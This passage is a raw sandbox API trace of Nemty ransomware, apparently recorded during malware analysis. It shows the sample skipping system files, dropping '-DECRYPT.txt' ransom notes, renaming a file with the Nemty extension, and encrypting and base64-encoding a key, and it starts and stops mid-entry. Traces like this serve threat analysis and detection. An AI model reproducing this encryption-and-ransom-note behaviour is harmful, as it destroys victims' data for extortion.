hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0150.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.310] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0150.316] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.316] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0150.316] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.316] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340220, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0150.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0150.316] CloseHandle (hObject=0xffffffff) returned 0 [0150.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340390 [0150.317] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0150.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0150.317] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0150.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0150.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0150.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340438 [0150.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63404e0 [0150.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340438 | out: hHeap=0x4f90000) returned 1 [0150.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0150.317] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\gadget.xml._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\gadget.xml._nemty_kgobjgd_")) returned 0 [0150.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e0 | out: hHeap=0x4f90000) returned 1 [0150.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340390 | out: hHeap=0x4f90000) returned 1 [0150.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0150.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340220 | out: hHeap=0x4f90000) returned 1 [0150.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0150.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0150.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340178 | out: hHeap=0x4f90000) returned 1 [0150.317] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="js", cAlternateFileName="")) returned 1 [0150.317] lstrcmpiW (lpString1="js", lpString2=".") returned 1 [0150.317] lstrcmpiW (lpString1="js", lpString2="..") returned 1 [0150.317] lstrcmpiW (lpString1="js", lpString2="...") returned 1 [0150.317] lstrcmpiW (lpString1="js", lpString2="windows") returned -1 [0150.317] lstrcmpiW (lpString1="js", lpString2="$RECYCLE.BIN") returned 1 [0150.317] lstrcmpiW (lpString1="js", lpString2="rsa") returned -1 [0150.317] lstrcmpiW (lpString1="js", lpString2="NTDETECT.COM") returned -1 [0150.317] lstrcmpiW (lpString1="js", lpString2="ntldr") returned -1 [0150.317] lstrcmpiW (lpString1="js", lpString2="MSDOS.SYS") returned -1 [0150.317] lstrcmpiW (lpString1="js", lpString2="IO.SYS") returned 1 [0150.317] lstrcmpiW (lpString1="js", lpString2="boot.ini") returned 1 [0150.317] lstrcmpiW (lpString1="js", lpString2="boot.ini") returned 1 [0150.318] lstrcmpiW (lpString1="js", lpString2="AUTOEXEC.BAT") returned 1 [0150.318] lstrcmpiW (lpString1="js", lpString2="ntuser.dat") returned -1 [0150.318] lstrcmpiW (lpString1="js", lpString2="desktop.ini") returned 1 [0150.318] lstrcmpiW (lpString1="js", lpString2="CONFIG.SYS") returned 1 [0150.318] lstrcmpiW (lpString1="js", lpString2="RECYCLER") returned -1 [0150.318] lstrcmpiW (lpString1="js", lpString2="BOOTSECT.BAK") returned 1 [0150.318] lstrcmpiW (lpString1="js", lpString2="bootmgr") returned 1 [0150.318] lstrcmpiW (lpString1="js", lpString2="programdata") returned -1 [0150.318] lstrcmpiW (lpString1="js", lpString2="appdata") returned 1 [0150.318] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0150.318] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x653ebd0, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="js", lpUsedDefaultChar=0x0) returned 2 [0150.318] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0150.318] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x653ebd0, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="js", lpUsedDefaultChar=0x0) returned 2 [0150.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0150.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0150.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0150.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0150.318] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0150.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.318] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0150.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0150.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0150.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0150.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340188 [0150.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0150.318] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0150.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0150.320] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0150.320] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0150.321] CloseHandle (hObject=0x254) returned 1 [0150.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0150.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0150.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0150.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0150.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0150.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0150.321] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0150.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0150.321] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0150.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0150.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0150.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340188 [0150.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0150.322] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0150.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0150.322] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0150.322] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0150.323] CloseHandle (hObject=0x254) returned 1 [0150.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0150.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0150.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0150.323] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd3e8630, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xd3e8630, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0150.324] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0150.324] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd3e8630, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xd3e8630, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0150.324] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0150.324] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0150.324] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x71c, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="highDpiImageSwap.js", cAlternateFileName="")) returned 1 [0150.324] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2=".") returned 1 [0150.324] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="..") returned 1 [0150.324] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="...") returned 1 [0150.324] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="windows") returned -1 [0150.324] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="$RECYCLE.BIN") returned 1 [0150.324] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="rsa") returned -1 [0150.324] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="NTDETECT.COM") returned -1 [0150.324] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="ntldr") returned -1 [0150.324] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="MSDOS.SYS") returned -1 [0150.324] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="IO.SYS") returned -1 [0150.324] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="boot.ini") returned 1 [0150.324] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="boot.ini") returned 1 [0150.324] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="AUTOEXEC.BAT") returned 1 [0150.324] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="ntuser.dat") returned -1 [0150.324] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="desktop.ini") returned 1 [0150.324] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="CONFIG.SYS") returned 1 [0150.324] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="RECYCLER") returned -1 [0150.324] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="BOOTSECT.BAK") returned 1 [0150.324] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="bootmgr") returned 1 [0150.324] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="programdata") returned -1 [0150.324] lstrcmpiW (lpString1="highDpiImageSwap.js", lpString2="appdata") returned 1 [0150.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0150.324] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="highDpiImageSwap.js", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0150.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.324] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="highDpiImageSwap.js", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="highDpiImageSwap.js", lpUsedDefaultChar=0x0) returned 19 [0150.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0150.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="highDpiImageSwap.js", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0150.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="highDpiImageSwap.js", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="highDpiImageSwap.js", lpUsedDefaultChar=0x0) returned 19 [0150.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0150.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0150.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0150.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0150.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="highDpiImageSwap.js", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0150.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0150.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="highDpiImageSwap.js", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="highDpiImageSwap.js", lpUsedDefaultChar=0x0) returned 19 [0150.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0150.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0150.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="highDpiImageSwap.js", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0150.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0150.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="highDpiImageSwap.js", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="highDpiImageSwap.js", lpUsedDefaultChar=0x0) returned 19 [0150.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0150.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0150.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0150.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0150.325] Sleep (dwMilliseconds=0x5) [0150.335] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xd40e790, dwHighDateTime=0x1d561e8)) [0150.335] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xd40e790, dwHighDateTime=0x1d561e8)) [0150.335] GetLastError () returned 0xb7 [0150.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0150.335] GetLastError () returned 0xb7 [0150.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0150.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0150.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0150.335] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0150.335] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0150.335] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0150.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0150.335] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e5dc | out: pszString="hEnTV3BSENYjD5g3uaWznLgD/KN52JxI2y7CAogOccifEm0mTJEc2uP7D0Tes/BS\r\nWt8VAV4zZSr+4O0U6OP0ZxjAZDgq1A36f+3nxLjYPZ6LcwjcV6J7HPqPdrbpczcn\r\nVnIMmxbGX3ioAPKeCYKHLutdwudrsi5emvtn9scRgGcim3tzchzK7sPI92Yr765X\r\nXuyI707lebu8gE3PsGJvfLy+7zBTjT5Mtlaq+xmwV2HtGhFtiBRff5kQZy0n8U0g\r\nz2EcxigGQxuDdtssVeCFcKgZ8oM8AU1885k1PErIL9It/KrxK82Z1CLfsJLRFdnQ\r\npewDn4raaLRbwuOuqzoXEg==\r\n", pcchString=0x653e5dc) returned 1 [0150.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0150.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0150.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0150.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0150.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0150.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0150.336] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\highDpiImageSwap.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js\\highdpiimageswap.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0150.336] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0150.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0150.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.337] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.346] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.346] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0150.346] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.346] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0150.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.355] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, 